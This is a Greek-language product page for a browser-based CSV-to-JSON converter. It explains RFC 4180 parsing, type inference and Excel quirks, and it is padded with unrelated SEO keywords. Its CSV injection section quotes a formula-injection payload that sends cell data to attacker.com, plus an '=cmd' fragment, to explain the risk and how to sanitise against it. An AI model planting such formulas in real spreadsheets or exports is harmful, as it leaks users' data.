Μετατροπέας CSV σε JSON

Ο μετατροπέας μας από CSV σε JSON αναλύει κάθε αρχείο CSV που συμμορφώνεται με το πρότυπο RFC 4180 (με κόμματα ή άλλους διαχωριστικούς χαρακτήρες, πεδία σε εισαγωγικά, διαφυγόντα εισαγωγικά, κελιά πολλαπλών γραμμών) και παράγει έναν καθαρό πίνακα JSON. Η πρώτη γραμμή μετατρέπεται σε κλειδιά αντικειμένων από προεπιλογή (με δυνατότητα παραμετροποίησης). Οι αριθμητικές και boolean τιμές αναγνωρίζονται αυτόματα (οι αριθμοί παραμένουν αριθμοί, το true/false γίνεται boolean, τα κενά κελιά γίνονται null) — μπορείτε να απενεργοποιήσετε αυτή τη λειτουργία για να διατηρήσετε τα πάντα ως συμβολοσειρές (strings) εάν το σύστημα υποδοχής σας είναι αυστηρό. Η επικύρωση επισημαίνει ασύμβατες γραμμές, μη κλεισμένα εισαγωγικά και προβλήματα κωδικοποίησης με αναφορά στους αριθμούς των γραμμών. Τα πάντα εκτελούνται τοπικά στο πρόγραμμα περιήγησής σας, οπότε οι εξαγωγές πελατών, τα CSV μισθοδοσίας και άλλα ευαίσθητα δεδομένα δεν φεύγουν ποτέ από τη συσκευή σας. Χρησιμοποιήστε το για εισαγωγές συνόλων δεδομένων JavaScript, σώματα αιτημάτων REST API, αρχεία προετοιμασίας MongoDB ή οποιοδήποτε εργαλείο προτιμά το JSON έναντι του CSV.

star 4.9
auto_awesome AI
New

CSV σε JSON calculator

info Paste CSV to convert to JSON
0 rows 0 cols 0 B

lightbulb Tips

  • RFC 4180: quote fields containing , " or newline
  • Escape embedded quotes by doubling: "" represents one "
  • First row = headers (object keys) by default
  • Type inference: 42 → number, true/false → bool, empty → null
  • Quote ZIP codes ("01234") to keep them as strings

Πώς να μετατρέψετε CSV σε JSON σε 3 βήματα: Επικόλληση, Ανάλυση, Αντιγραφή

content_paste

Επικόλληση CSV

Επικολλήστε οποιοδήποτε CSV — εξαγωγή Excel, αντίγραφο βάσης δεδομένων ή απάντηση API. Είτε επεξεργάζεστε δεδομένα για **υπολογισμός ηλικίας**, **υπολογισμός ωρών εργασίας**, **υπολογισμός ταξιδιού** ή **κόστος ταξιδιού**, ο αναλυτής χειρίζεται αυτόματα τα εισαγωγικά κατά RFC 4180, τις αλλαγές γραμμής CRLF/LF και το UTF-8 BOM.

tune

Διαμόρφωση

Επιλέξτε το διαχωριστικό (κόμμα, ερωτηματικό, tab, pipe), ενεργοποιήστε/απενεργοποιήστε τη λειτουργία γραμμής κεφαλίδας και επιλέξτε την αυτόματη εξαγωγή τύπων. Ιδανικό για εξαγωγές δεδομένων που αφορούν **υπολογισμός ημερών**, **μέτρηση ημερών**, **διαφορά ημερομηνιών** ή **υπολογισμός μηνών**. Οι προεπιλογές λειτουργούν για τις περισσότερες εξαγωγές από Excel/Google Sheets.

swap_horiz

Μετατροπή

Το JSON εμφανίζεται αμέσως με σωστούς τύπους τιμών, κλειδιά κεφαλίδας και την εσοχή της επιλογής σας. Είτε τα δεδομένα σας αφορούν **αφαίρεση ημερομηνίας**, **υπολογισμός χρόνου**, **υπολογισμός ρυθμού τρεξίματος**, **μέτρηση ημερολογιακών ημερών** ή **υπολογισμός ημερομηνίας**, επιλέξτε εσοχή 2 διαστημάτων, 4 διαστημάτων ή συμπιεσμένο (minified) αποτέλεσμα.

content_copy

Αντιγραφή ή Λήψη

Κάντε κλικ στο Αντιγραφή για το πρόχειρο ή Λήψη για αποθήκευση ως αρχείο `.json` έτοιμο για σώματα αιτημάτων API, σύνολα δεδομένων JavaScript ή βάσεις δεδομένων (π.χ. για εφαρμογές όπως ο υπολογισμός ημερών ή ο υπολογιστής ηλικίας).

The Formula

Η μετατροπή CSV σε JSON αναλύει το CSV σύμφωνα με το πρότυπο RFC 4180: τα πεδία διαχωρίζονται με το διαχωριστικό, τα πεδία σε διπλά εισαγωγικά μπορούν να περιέχουν διαχωριστικά και αλλαγές γραμμής, και το `""` μέσα σε ένα πεδίο με εισαγωγικά είναι χαρακτήρας διαφυγής. Η πρώτη σειρά αντιμετωπίζεται ως κεφαλίδα και γίνεται τα κλειδιά του αντικειμένου JSON, ενώ οι επόμενες σειρές γίνονται αντικείμενα. Η προαιρετική εξαγωγή τύπων μετατρέπει προφανείς αριθμητικές και boolean συμβολοσειρές σε εγγενείς τύπους JSON. Το αποτέλεσμα είναι ένας πίνακας JSON έτοιμος για χρήση σε οποιαδήποτε γλώσσα διαθέτει αναλυτή JSON, ιδανικός για εφαρμογές όπως ο υπολογισμός ημερών μεταξύ ημερομηνιών, ο υπολογισμός χρόνου, ο υπολογισμός ωρών εργασίας, η μέτρηση ημερολογιακών ημερών, η διαφορά ημερομηνιών, ο υπολογισμός μηνών, η αφαίρεση ημερομηνίας, ο υπολογισμός ημερομηνίας, η μέτρηση ημερών, ο υπολογισμός ταξιδιού, το κόστος ταξιδιού, ο υπολογισμός ρυθμού τρεξίματος, ο υπολογισμός ηλικίας ή για να βρείτε απαντήσεις στο ερώτημα «πόσο χρονών είμαι».

parse CSV(input, delimiter, quote) → [{header: value, ...}, ...]

lightbulb Variables Explained

  • input Μη επεξεργασμένο κείμενο CSV (RFC 4180 — διαχωρισμός με κόμμα, συμβολοσειρές σε διπλά εισαγωγικά, αλλαγές γραμμής CRLF ή LF)
  • parse CSV() Αναλύει με βάση το διαχωριστικό σεβόμενο τα πεδία σε εισαγωγικά, αναπτύσσει τα εισαγωγικά διαφυγής ("" → "), διατηρεί τις τιμές των κελιών
  • delimiter Διαχωριστικό πεδίων — κόμμα (προεπιλογή), tab, ερωτηματικό ή pipe
  • header row Η πρώτη σειρά γίνεται τα κλειδιά του αντικειμένου JSON (με δυνατότητα εναλλαγής· ανενεργό → παράγει πίνακα πινάκων)
  • type inference Αριθμητικές συμβολοσειρές → αριθμοί, true/false → boolean, κενά → null (με δυνατότητα εναλλαγής)

tips_and_updates Pro Tips

1

Τοποθετήστε σε εισαγωγικά κάθε πεδίο που περιέχει κόμμα, διπλά εισαγωγικά ή αλλαγή γραμμής — το πρότυπο RFC 4180 απαιτεί διπλά εισαγωγικά γύρω από τέτοια κελιά

2

Παρακάμψτε τα διπλά εισαγωγικά μέσα σε πεδία με εισαγωγικά διπλασιάζοντάς τα: το `"He said ""hi"""` αντιπροσωπεύει την τιμή `He said "hi"`

3

Η πρώτη γραμμή αντιμετωπίζεται ως κεφαλίδα από προεπιλογή — απενεργοποιήστε το εάν το CSV σας δεν έχει κεφαλίδα (το αποτέλεσμα θα είναι ένας πίνακας από πίνακες)

4

Η αυτόματη αναγνώριση τύπων εντοπίζει τιμές όπως `123`, `4.5`, `true`, `false` και κενά κελιά (→ null). Απενεργοποιήστε τη λειτουργία αυτή εάν η εφαρμογή σας απαιτεί μόνο συμβολοσειρές (strings) ή για ακριβή υπολογισμό ημερομηνίας χωρίς αυτόματες μετατροπές.

5

Τα κενά κελιά στην πηγή γίνονται `null` στο JSON από προεπιλογή — αλλάξτε το σε κενή συμβολοσειρά εάν το προτιμά το σύστημα υποδοχής σας

6

Οι εξαγωγές CSV από το Excel χρησιμοποιούν συχνά απολήξεις γραμμής Windows CRLF — ο αναλυτής υποστηρίζει τόσο CRLF όσο και LF

7

Προσοχή στο BOM (byte-order mark) στην αρχή των αρχείων UTF-8 CSV που εξάγονται από το Excel — ο αναλυτής το αφαιρεί αυτόματα

8

Για πολύ μεγάλα αρχεία CSV (50MB+), προτιμήστε εργαλεία ροής (streaming) όπως τα `csvkit`, `jq` ή `Papa Parse` με τμηματική επεξεργασία (chunking) αντί για μετατροπή στο πρόγραμμα περιήγησης

9

Οι αριθμητικές συμβολοσειρές σε εισαγωγικά (π.χ. `"01234"` για έναν ταχυδρομικό κώδικα) παραμένουν ως συμβολοσειρές στο αποτέλεσμα — η αυτόματη αναγνώριση τύπων επηρεάζει μόνο τις τιμές χωρίς εισαγωγικά

10

Προσοχή στην έγχυση CSV (CSV injection): μην επικολάτε ποτέ CSV από μη αξιόπιστες πηγές απευθείας στο Excel ή στα Google Sheets χωρίς να εξυγιάνετε τους αρχικούς χαρακτήρες `=`, `+`, `-`, `@` (OWASP)

Μετατρέψτε οποιοδήποτε αρχείο CSV σε JSON αμέσως — επικολλήστε, αναλύστε, αντιγράψτε. Ο μετατροπέας χειρίζεται τα εισαγωγικά κατά το πρότυπο RFC 4180 (διαφυγή εισαγωγικών μέσω `""`), κελιά πολλαπλών γραμμών, απολήξεις γραμμών CRLF/LF, αφαίρεση του UTF-8 BOM και τέσσερις επιλογές διαχωριστικών (κόμμα, ερωτηματικό, tab, κάθετη γραμμή). Η εξαγωγή τύπων προάγει αυτόματα αριθμούς και booleans· απενεργοποιήστε την για έξοδο αποκλειστικά με συμβολοσειρές. Όλα εκτελούνται στο πρόγραμμα περιήγησής σας, επομένως οι εξαγωγές πελατών, τα CSV μισθοδοσίας (για εφαρμογές όπως «υπολογισμός ωρών εργασίας») και άλλα ευαίσθητα δεδομένα πίνακα δεν φεύγουν ποτέ από τη συσκευή σας. Παρακάτω: πώς λειτουργεί ο αναλυτής στο παρασκήνιο, οι διαφορές μεταξύ CSV και JSON για προγραμματιστές, πρότυπα μετατροπής για Excel/Google Sheets, κανόνες εξαγωγής τύπων, ειδικές περιπτώσεις του RFC 4180, ασφάλεια έναντι έγχυσης CSV (CSV injection) και ένας οδηγός για ασφαλή αμφίδρομη μετατροπή.

Online Μετατροπέας CSV σε JSON: Αναλύστε οποιοδήποτε υπολογιστικό φύλλο σε JSON αμέσως

Επικολλήστε ένα έγκυρο CSV — μια εξαγωγή από Excel, λήψη από Google Sheets, εξαγωγή βάσης δεδομένων ή απάντηση API — και ο μετατροπέας παράγει έναν καθαρό πίνακα JSON σε πραγματικό χρόνο. Η πρώτη γραμμή αντιμετωπίζεται ως κεφαλίδα από προεπιλογή, αποτελώντας τα κλειδιά των αντικειμένων JSON· οι επόμενες γραμμές γίνονται αντικείμενα σε έναν πίνακα JSON.

Type inference (Εξαγωγή τύπων) προάγει:

  • τις προφανείς αριθμητικές συμβολοσειρές σε αριθμούς (το 42 παραμένει ακέραιος, το 3.14 παραμένει δεκαδικός)
  • τις συμβολοσειρές boolean σε booleans (true/false χωρίς διάκριση πεζών-κεφαλαίων)
  • τα κενά κελιά σε null

Απενεργοποιήστε αυτές τις συμπεριφορές εάν το σύστημα που θα δεχτεί τα δεδομένα σας είναι αυστηρό με τους τύπους.

Η μετατροπή εκτελείται εξ ολοκλήρου στο πρόγραμμα περιήγησής σας χρησιμοποιώντας έναν προσαρμοσμένο αναλυτή RFC 4180 και την ενσωματωμένη μέθοδο JSON.stringify (κατά το πρότυπο ECMA-404). Το αποτέλεσμα είναι έτοιμο για επικόλληση σε ένα αρχείο `.json`, τροφοδοσία σε ένα REST API ή χρήση ως σύνολο δεδομένων JavaScript.

Πώς να μετατρέψετε CSV σε JSON: Μια ροή εργασίας 3 βημάτων για προγραμματιστές

  • Βήμα 1: Επικολλήστε το CSV σας στο πρόγραμμα επεξεργασίας. Ο αναλυτής επικυρώνει τα δεδομένα καθώς πληκτρολογείτε — ένα μη έγκυρο CSV (μη κλεισμένα εισαγωγικά, ασύμμετρες γραμμές, λάθος διαχωριστικό) εμφανίζει το ακριβές σφάλμα με γραμμή και στήλη.
  • Βήμα 2: Διαμορφώστε τον αναλυτή εάν χρειάζεται — επιλέξτε το διαχωριστικό (προεπιλογή είναι το κόμμα· αλλάξτε σε ερωτηματικό για εξαγωγές Excel από την ΕΕ ή tab για αρχεία TSV), ενεργοποιήστε/απενεργοποιήστε τη λειτουργία γραμμής κεφαλίδας και επιλέξτε την εξαγωγή τύπων.
  • Βήμα 3: Η έξοδος JSON εμφανίζεται ζωντανά στο δεξί πλαίσιο. Κάντε κλικ στο Αντιγραφή (πρόχειρο) ή Λήψη (αρχείο `.json`).

Για προγραμματιστικές ροές εργασίας, η ίδια λογική είναι διαθέσιμη μέσω του τελικού σημείου `/api/calculate` — στείλτε με POST το CSV σας εκεί και λάβετε το JSON στο σώμα της απάντησης. Η ασφάλεια αμφίδρομης μετατροπής ισχύει για επίπεδα δεδομένα πίνακα· τα ένθετα δεδομένα απαιτούν μια προσαρμοσμένη στρατηγική επιπεδοποίησης.

CSV έναντι JSON: Βασικές διαφορές στη δομή, τους τύπους και τις περιπτώσεις χρήσης

Το CSV (Τιμές διαχωρισμένες με κόμμα) είναι μια επίπεδη μορφή πίνακα — κάθε γραμμή είναι μια σειρά, με τα πεδία να διαχωρίζονται από ένα διαχωριστικό. Δεν έχει εγγενείς τύπους (κάθε κελί είναι κείμενο), δεν υποστηρίζει εμφώλευση (βάθος ενός επιπέδου, όπως ένας πίνακας βάσης δεδομένων) και έχει ελάχιστα μεταδεδομένα (μια προαιρετική γραμμή κεφαλίδας). Είναι καθολικά αναγνώσιμο: κάθε εργαλείο υπολογιστικών φύλλων, κάθε εισαγωγή βάσης δεδομένων και κάθε εργαλείο κελύφους κατανοεί το CSV.

JSON (JavaScript Object Notation) είναι μια ιεραρχική μορφή με ρητούς τύπους (συμβολοσειρά, αριθμός, boolean, null), ένθετα αντικείμενα και πίνακες, και αυτοπεριγραφόμενα κλειδιά ανά εγγραφή. Το JSON είναι η κοινή γλώσσα των REST/GraphQL APIs, των βάσεων δεδομένων NoSQL και των αρχείων ρυθμίσεων.

Πότε να χρησιμοποιείτε το καθένα:

  • CSV για μεγάλο όγκο δεδομένων πίνακα, ανταλλαγή υπολογιστικών φύλλων, εισαγωγή ETL και ροές εργασίας αναλυτών.
  • JSON για API, ρυθμίσεις, ένθετες εγγραφές και ανταλλαγή μηνυμάτων μεταξύ μηχανών.

Κάντε τη μετατροπή μεταξύ τους στα όρια του συστήματός σας: εισαγωγή CSV → επεξεργασία ως JSON → εξαγωγή ξανά σε CSV εάν το απαιτεί ένας χρήστης υπολογιστικών φύλλων.

Ανάλυση CSV κατά RFC 4180: Πεδία σε εισαγωγικά, διαφυγή εισαγωγικών και ειδικές περιπτώσεις

Το RFC 4180 (2005) είναι το ενημερωτικό πρότυπο της IETF για το CSV.

Βασικοί κανόνες:

  • Οι εγγραφές διαχωρίζονται με CRLF (Windows) ή LF (Unix).
  • Τα πεδία διαχωρίζονται από ένα διαχωριστικό (κόμμα στο πρότυπο· συχνά ποικίλλει στην πράξη).
  • Τα πεδία που περιέχουν το διαχωριστικό, διπλά εισαγωγικά ή αλλαγή γραμμής πρέπει να περικλείονται σε διπλά εισαγωγικά.
  • Μέσα σε ένα πεδίο με εισαγωγικά, ένα κυριολεκτικό διπλό εισαγωγικό διαφεύγει με διπλασιασμό του (`""` αντιπροσωπεύει ένα μόνο `"`).
  • Μια προαιρετική γραμμή κεφαλίδας εμφανίζεται ως η πρώτη εγγραφή.

Ο αναλυτής που υλοποιείται εδώ επιτρέπει απολήξεις γραμμών μόνο με LF, διαχωριστικά ερωτηματικού/tab/κάθετης γραμμής (εναλλαγή στις ρυθμίσεις), UTF-8 BOM στην αρχή του αρχείου (αφαιρείται αυτόματα) και μια τελική αλλαγή γραμμής στο τέλος του αρχείου. Απορρίπτει μη κλεισμένα πεδία με εισαγωγικά και ασύμμετρες γραμμές με σαφή μηνύματα σφάλματος.

Εξαγωγή τύπων: Διαχείριση αριθμών, Booleans και Null στη μετατροπή CSV σε JSON

Η εξαγωγή τύπων προάγει προφανείς τιμές χωρίς εισαγωγικά σε εγγενείς τύπους JSON.

  • Αριθμοί: μοτίβα ψηφίων που ταιριάζουν με τη σύνταξη ακεραίου ή δεκαδικού του JSON γίνονται αριθμοί JSON. `42` → ακέραιος 42. `3.14` → δεκαδικός 3.14. `1e6` → 1000000. Το `01234` είναι διφορούμενο — οι αυστηροί αναλυτές αριθμών απορρίπτουν τα μηδενικά στην αρχή, επομένως παραμένει συμβολοσειρά (κάτι που είναι επιθυμητό για ταχυδρομικούς κώδικες).
  • Booleans: τα `true` και `false` (χωρίς διάκριση πεζών-κεφαλαίων) γίνονται booleans στο JSON. Σημείωση: αυτή είναι η σύμβαση του YAML 1.2 / αυστηρού JSON — τα `yes`/`no`/`on`/`off` παραμένουν ως συμβολοσειρές (η λύση για το «πρόβλημα της Νορβηγίας»).
  • Null: τα κενά κελιά (μεταξύ δύο διαδοχικών διαχωριστικών ή στο τέλος μιας γραμμής) γίνονται null στο JSON.

Εάν απενεργοποιήσετε την εξαγωγή τύπων, κάθε κελί παραμένει συμβολοσειρά ανεξάρτητα από το περιεχομέννο — χρήσιμο όταν το σύστημα που δέχεται τα δεδομένα (π.χ. μια αυστηρή ροή εργασίας TypeScript) αναμένει ομοιόμορφους τύπους.

Μετατροπή αρχείων CSV του Excel σε JSON: Κωδικοποίηση, διαχωριστικά και ιδιαιτερότητες

Το Excel είναι ο κυρίαρχος παραγωγός αρχείων CSV και οι εξαγωγές του συνοδεύονται από ορισμένες ιδιαιτερότητες.

  • Κωδικοποίηση: Το Excel για Windows συχνά αποθηκεύει το CSV ως UTF-8 με BOM (ο αναλυτής το αφαιρεί αυτόματα) ή Windows-1252 (Latin-1) για παλαιότερες εκδόσεις. Το Excel για Mac συνήθως αποθηκεύει σε καθαρό UTF-8. Εάν οι μη ASCII χαρακτήρες εμφανίζονται παραμορφωμένοι, αποθηκεύστε ξανά το αρχείο ως UTF-8 στην εφαρμογή υπολογιστικών φύλλων σας πριν από την επικόλληση.
  • Διαχωριστικά: σε τοπικές ρυθμίσεις της ΕΕ (Γερμανία, Γαλλία κ.λπ.), το Excel χρησιμοποιεί ερωτηματικά επειδή το κόμμα είναι ο υποδιαστολέας· αλλάξτε τη ρύθμιση του διαχωριστικού ανάλογα.
  • Απολήξεις γραμμών: Το Excel χρησιμοποιεί CRLF από προεπιλογή — υποστηρίζεται πλήρως.
  • Εισαγωγικά: Το Excel βάζει σε εισαγωγικά κάθε κελί που περιέχει κόμμα ή διπλό εισαγωγικό· τα ενσωματωμένα εισαγωγικά διαφεύγουν μέσω `""`.
  • Μορφοποίηση αριθμών: Το Excel ενδέχεται να εξάγει το `1,234.56` (με κόμμα ως διαχωριστικό χιλιάδων), το οποίο ο αναλυτής θα αντιμετωπίσει ως συμβολοσειρά, εκτός εάν αλλάξετε τη μορφοποίηση.
  • Οι στήλες ημερομηνιών εξάγονται ως η προεπιλεγμένη συμβολοσειρά της τοπικής ρύθμισης — συνήθως απαιτείται μεταγενέστερη επεξεργασία για τη μετατροπή σε ISO 8601 (χρήσιμο για λειτουργίες όπως «υπολογισμός ημερομηνίας», «αφαίρεση ημερομηνίας» ή «διαφορά ημερομηνιών»).

Μετατροπή CSV σε JSON για REST APIs και εισαγωγές σε βάσεις δεδομένων

Το JSON είναι η κυρίαρχη μορφή αιτήματος/απάντησης για REST APIs, τελικά σημεία GraphQL και τις περισσότερες σύγχρονες διαδικτυακές υπηρεσίες.

Η μετατροπή CSV σε JSON είναι ένα συχνό βήμα όταν:

  • εισάγετε μαζικά δεδομένα μέσω ενός API που δέχεται πίνακες JSON (π.χ. εγγραφή χρηστών, εισαγωγή καταλόγου προϊόντων, τελικά σημεία μαζικής ενημέρωσης)·
  • τροφοδοτείτε βάσεις δεδομένων NoSQL (MongoDB, DynamoDB, Cassandra) που εισάγουν εγγενώς JSON μέσω `mongoimport`, `aws dynamodb batch-write-item` ή παρόμοιων εργαλείων·
  • τροφοδοτείτε ροές εργασίας ETL (Airflow, Prefect, dbt) που μεταφέρουν εξαγωγές CSV μέσω μετασχηματισμών που βασίζονται σε JSON·
  • συμπληρώνετε εικονικά δεδομένα για πρωτότυπα συστατικών React/Vue/Angular (π.χ. για εργαλεία όπως «υπολογιστής ηλικίας», «πόσο χρονών είμαι», «υπολογισμός ημερών μεταξύ ημερομηνιών» ή «υπολογισμός ημερών»).

Μετά τη μετατροπή, επικυρώστε την έξοδο JSON έναντι του σχήματος του συστήματος προορισμού σας (JSON Schema, σώμα αιτήματος OpenAPI, τύπος εισόδου GraphQL) για να εντοπίσετε τυχόν αναντιστοιχίες τύπων πριν από τη διάθεση.

Μετατροπή CSV σε JSON για JavaScript, Node.js και σύνολα δεδομένων Frontend

Το JSON είναι η εγγενής μορφή δεδομένων για περιβάλλοντα εκτέλεσης JavaScript (πρόγραμμα περιήγησης, Node.js, Deno, Bun).

Μετατρέψτε το CSV σε JSON όταν χρειάζεται να:

  • ενσωματώσετε ένα στατικό σύνολο δεδομένων σε ένα συστατικό React/Vue (`import data from './data.json'`), π.χ. για σενάρια όπως «υπολογισμός ηλικίας», «υπολογισμός μηνών» ή «μέτρηση ημερών»·
  • τροφοδοτήσετε ένα store Redux/Pinia/Zustand με αρχική κατάσταση·
  • τροφοδοτήσετε μια βιβλιοθήκη γραφημάτων (Chart.js, D3, Plotly) που αναμένει JSON (π.χ. για «υπολογισμός ταξιδιού», «κόστος ταξιδιού» ή «υπολογισμός ρυθμού τρεξίματος»)·
  • δημιουργήσετε το πρωτότυπο ενός σεναρίου Node.js που επεξεργάζεται εγγραφές πριν από την εγγραφή σε μια βάση δεδομένων·
  • δημιουργήσετε ένα εικονικό τελικό σημείο Express/Fastify που επιστρέφει δείγματα δεδομένων.

Η έξοδος JSON από αυτόν τον μετατροπέα είναι πλήρως συμβατή με το πρότυπο ECMA-404 — η μέθοδος `JSON.parse()`, τα σώματα POST του `fetch()` και η εξαγωγή τύπων της TypeScript (`type Row = typeof data[0]`) λειτουργούν χωρίς καμία τροποποίηση.

Για πολύ μεγάλα σύνολα δεδομένων (άνω των 10.000 γραμμών), εξετάστε τη χρήση ροής (streaming) με το Papa Parse αντί για μετατροπή μίας φάσης.

Ασφάλεια έναντι έγχυσης CSV (CSV Injection): Πρόθεμα τύπων και εξυγίανση

Η έγχυση CSV (γνωστή και ως έγχυση τύπων / formula injection) είναι μια ευπάθεια διαδικτυακών εφαρμογών όπου ένα αρχείο CSV που περιέχει πρόθεμα τύπων (`=`, `+`, `-`, `@`) ανοίγει στο Excel ή στα Google Sheets και το υπολογιστικό φύλλο εκτελεί αυτόματα τον τύπο.

Οι επιτιθέμενοι μπορούν να το χρησιμοποιήσουν αυτό για να:

  • εξαγάγουν δεδομένα (`=HYPERLINK("http://attacker.com?"&A1, "click")`),
  • εκτελέσουν αυθαίρετες εντολές (παλαιά σύνταξη μακροεντολών Excel),
  • ή να παρασύρουν τους χρήστες να επισκεφθούν κακόβουλες διευθύνσεις URL.

Αυτός ο μετατροπέας είναι μόνο για ανάγνωση (CSV → JSON), επομένως δεν εισάγει κίνδυνο έγχυσης. Ωστόσο, εάν η εφαρμογή σας δημιουργεί εξαγωγές CSV από εισαγωγή χρήστη — εξυγιάνετε τα δεδομένα.

Τυπική αντιμετώπιση: προσθέστε ένα μονό εισαγωγικό (`'=cmd|...`) πριν από οποιοδήποτε κελί που ξεκινά με `=`, `+`, `-`, `@`, `\t`, `\r` ή `0x09` πριν από την εγγραφή στο CSV. Το OWASP διαθέτει έναν πλήρη οδηγό (cheat sheet) για το CSV Injection που καλύπτει όλες τις παραλλαγές.

Συνήθη σφάλματα ανάλυσης CSV: Μη κλεισμένα εισαγωγικά, ασύμμετρες γραμμές και κωδικοποίηση

Πέντε σφάλματα ευθύνονται για το 90% των αποτυχιών ανάλυσης CSV.

  • Μη κλεισμένο πεδίο με εισαγωγικά — ένα πεδίο ξεκινά με `"` αλλά δεν έχει ποτέ το αντίστοιχο κλείσιμο `"`. Ο αναλυτής συνεχίζει να διαβάζει μέχρι το τέλος του αρχείου και στη συνέχεια εμφανίζει σφάλμα. Διόρθωση: βεβαιωθείτε ότι κάθε εισαγωγικό ανοίγματος έχει ένα αντίστοιχο κλείσιμο.
  • Ασύμμετρες γραμμές (ragged rows) — ορισμένες γραμμές έχουν λιγότερα ή περισσότερα πεδία από την κεφαλίδα. Αιτίες: αδέσποτες αλλαγές γραμής μέσα σε κείμενο χωρίς εισαγωγικά, ελλείποντα ή επιπλέον διαχωριστικά. Διόρθωση: επαληθεύστε ότι ο αριθμός των στηλών είναι σταθερός.
  • Λάθος διαχωριστικό — το αρχείο σας χρησιμοποιεί ερωτηματικά αλλά ο αναλυτής έχει ρυθμιστεί για κόμματα. Αλλάξτε τη ρύθμιση του διαχωριστικού.
  • Λάθος στυλ διαφυγής — χρήση του `\"` (στυλ JSON) αντί για `""` (στυλ RFC 4180) μέσα σε πεδία με εισαγωγικά. Διόρθωση: εξάγετε ξανά από το εργαλείο προέλευσης με σωστά εισαγωγικά κατά RFC 4180.
  • Αναντιστοιχία κωδικοποίησης — οι μη UTF-8 χαρακτήρες εμφανίζονται παραμορφωμένοι. Αποθηκεύστε ξανά το αρχείο προέλευσης ως UTF-8 (οι περισσότερες εφαρμογές υπολογιστικών φύλλων προσφέρουν αυτήν την επιλογή στο «Αποθήκευση ως»).

Το μήνυμα σφάλματος στον μετατροπέα δείχνει την ακριβή γραμμή και στήλη.

Ασφάλεια αμφίδρομης μετατροπής: CSV → JSON → CSV και ειδικές περιπτώσεις

Πέντε ζητήματα αμφίδρομης μετατροπής που πρέπει να γνωρίζει κάθε προγραμματιστής.

  • Επίπεδα δεδομένα: η καθαρή επίπεδη μορφή πίνακα CSV → JSON → CSV διατηρεί τις τιμές των κελιών, τους τύπους δεδομένων (με εξαίρεση την προαγωγή τύπων αν γίνει εκ νέου ανάλυση) και τη σειρά των στηλών, κάτι χρήσιμο για υπολογισμούς όπως «υπολογισμός χρόνου» ή «μέτρηση ημερολογιακών ημερών».
  • Ένθετο JSON: δεν μπορεί να υποστεί αμφίδρομη μετατροπή μέσω CSV χωρίς επιπεδοποίηση. Επιλέξτε μια στρατηγική: ονόματα στηλών με σημειογραφία τελείας (`address.city`, `address.zip`), συμβολοσειρές JSON μέσα στα κελιά ή μόνο το πρώτο επίπεδο.
  • Προαγωγή τύπων: οι αριθμητικές και boolean συμβολοσειρές προάγονται κατά τη μετατροπή CSV → JSON· εάν κάνετε εξαγωγή πίσω σε CSV, εκπέμπονται στην εγγενή τους μορφή. Οι ταχυδρομικοί κώδικες (`01234`) χρειάζονται εισαγωγικά στο αρχικό CSV για να διατηρηθούν.
  • Σειρά κεφαλίδων: ο μετατροπέας διατηρεί τη σειρά των στηλών της πηγής. Η σειρά των κλειδιών του αντικειμένου JSON διατηρείται από τις σύγχρονες μηχανές JavaScript.
  • Κενά κελιά: γίνονται null στο JSON· εάν κάνετε εξαγωγή πίσω, διαμορφώστε το πρόγραμμα εγγραφής CSV ώστε να παράγει κενές συμβολοσειρές ή λεκτικά `null` όπως το αρχικό.

Δοκιμάστε με μη τετριμμένα δεδομένα δοκιμής προτού βασιστείτε στην αμφίδρομη μετατροπή σε παραγωγικές ροές εργασίας.

Οδηγός CSV σε JSON: Αντιστοίχιση τύπων, εργαλεία και βέλτιστες πρακτικές

Αντιστοίχιση τύπων με μια ματιά:

  • Γραμμή κεφαλίδας CSV → κλειδιά αντικειμένου JSON·
  • Γραμμή CSV → αντικείμενο JSON·
  • Κελί CSV (χωρίς εισαγωγικά, αριθμητικό) → αριθμός JSON·
  • Κελί CSV (χωρίς εισαγωγικά, true/false) → boolean JSON·
  • Κελί CSV (κενό) → null JSON·
  • Κελί CSV (με εισαγωγικά ή μη αριθμητικό) → συμβολοσειρά JSON.

Σύγκριση εργαλείων: αυτός ο μετατροπέας (στο πρόγραμμα περιήγησης, άμεσος, χωρίς εγκατάσταση, αυστηρός κατά RFC 4180) έναντι του Papa Parse (βιβλιοθήκη JS, ροή δεδομένων, worker threads) έναντι του csvkit (Python CLI, μεγάλα αρχεία, ανίχνευση διαλέκτου) έναντι του `jq -R -c -f csv2json.jq` (κέλυφος Unix, προγραμματιστικό).

Βέλτιστες πρακτικές:

  • Να βάζετε πάντα σε εισαγωγικά τα διφορούμενα πεδία (αριθμητικά αναγνωριστικά, ταχυδρομικούς κώδικες, συμβολοσειρές με μηδενικά στην αρχή) στο αρχικό CSV.
  • Χρησιμοποιήστε κωδικοποίηση UTF-8 για συμβατότητα — αποθηκεύστε ξανά τα παλαιότερα αρχεία Excel ως UTF-8.
  • Επικυρώστε την έξοδο JSON έναντι του σχήματος του συστήματος προορισμού σας (JSON Schema, OpenAPI, τύποι TypeScript) — εντοπίστε σφάλματα τύπων στα όρια και όχι στην παραγωγή.
  • Διατηρήστε το CSV ως τη μοναδική πηγή αλήθειας για τα δεδομένα πίνακα και δημιουργήστε ξανά το JSON κατά τον χρόνο δημιουργίας/εισαγωγής όταν είναι δυνατόν.
  • Για αρχεία >50MB, μεταβείτε σε εργαλεία ροής (Papa Parse worker, ροή εργασίας csvkit) αντί για μετατροπή εντός του προγράμματος περιήγησης.
code

Embed this Μετατροπέας CSV σε JSON on your site

Free for any site. Copy the snippet below and paste into your HTML — no attribution required beyond the built-in credit link.

<iframe src="https://calculators.im/embed/csv-to-json-converter" width="100%" height="720" style="border:0;max-width:100%;" loading="lazy" title="Μετατροπέας CSV σε JSON by Calculators.im"></iframe>
<p style="font-size:12px;text-align:center;color:#64748b;margin-top:6px;">Powered by <a href="https://calculators.im/csv-to-json-converter?utm_source=embed&utm_medium=snippet&utm_campaign=csv-to-json-converter">Μετατροπέας CSV σε JSON</a> by Calculators.im</p>
open_in_new Preview embed Auto-resizing iframe. Mobile responsive. Works with WordPress, Ghost, Webflow, and plain HTML.

Frequently Asked Questions

sell

Tags